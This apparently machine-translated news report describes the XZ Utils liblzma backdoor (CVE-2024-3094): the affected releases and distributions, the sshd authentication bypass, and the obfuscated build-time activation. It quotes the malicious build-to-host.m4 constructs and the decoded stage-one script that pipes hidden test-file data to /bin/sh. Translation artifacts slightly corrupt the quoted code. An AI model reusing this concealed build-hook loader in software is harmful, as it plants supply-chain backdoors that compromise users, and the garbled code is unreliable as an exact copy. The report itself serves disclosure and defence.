In the package XZ Utilswhich includes the liblzma library and utilities for working with compressed data in the “.xz” format, identified backdoor (CVE-2024-3094), allowing you to intercept and modify data processed by applications associated with the liblzma library. The main target of the backdoor is the OpenSSH server, which uses liblzma. Linking sshd with a vulnerable library allows attackers to gain access to the SSH server without authentication.
The backdoor was present in official releases 5.6.0 And 5.6.1published on February 24 and March 9, which managed get into the squad some distributions and repositories, for example, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide and 40-beta, openSUSE factory, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. All users of xz 5.6.0 and 5.6.1 releases are recommended to urgently roll back to version 5.4.6.
Advertisement
Among the factors mitigating the problem, it can be noted that the version of liblzma with the backdoor did not manage to be included in the stable releases of large distributions, with the exception of Gentoo and Arch Linux. The backdoor affected only x86_64 systems based on the Linux kernel and the Glibc C library. How the attackers managed to gain access to the infrastructure of the xz project has not yet been clarified. It is also not yet clear how many users and projects were compromised as a result of the backdoor.
The backdoor activation code was hidden in the build-to-host.m4 m4 script used by the automake toolkit when building. During assembly, during the execution of intricate obfuscated operations based on archives (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), used to test the correctness of operation, an object file with malicious code was generated, which was included in the liblzma library and changed the operation logic some of its functions. The specified files were part of the release tar archives, but were not in the repository.
When liblzma was used in applications, malicious changes could be used to intercept or modify data, or affect the operation of applications such as sshd and systemd. In particular, the malicious code spoofed the RSA_public_decrypt function to bypass the sshd authentication process.
In particular, the m4/build-to-host.m4 file used the constructs
Advertisement
gl_am_configmake=`grep -aErls "#{4}((:alnum:)){5}#{4}$" $srcdir/ 2>/dev/null`
... gl_($1)_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_($1)_prefix -d 2>/dev/null'In the first construction, the grep operation found the file tests/files/bad-3-corrupt_lzma2.xz, which, when unpacked, generated the script:
####Hello#### #345U211267$^D330^W ( ! $(uname) = "Linux" ) && exit 0 ( ! $(uname) = "Linux" ) && exit 0 ( ! $(uname) = "Linux" ) && exit 0 ( ! $(uname) = "Linux" ) && exit 0 ( ! $(uname) = "Linux" ) && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh ####World####
Thanks for reading: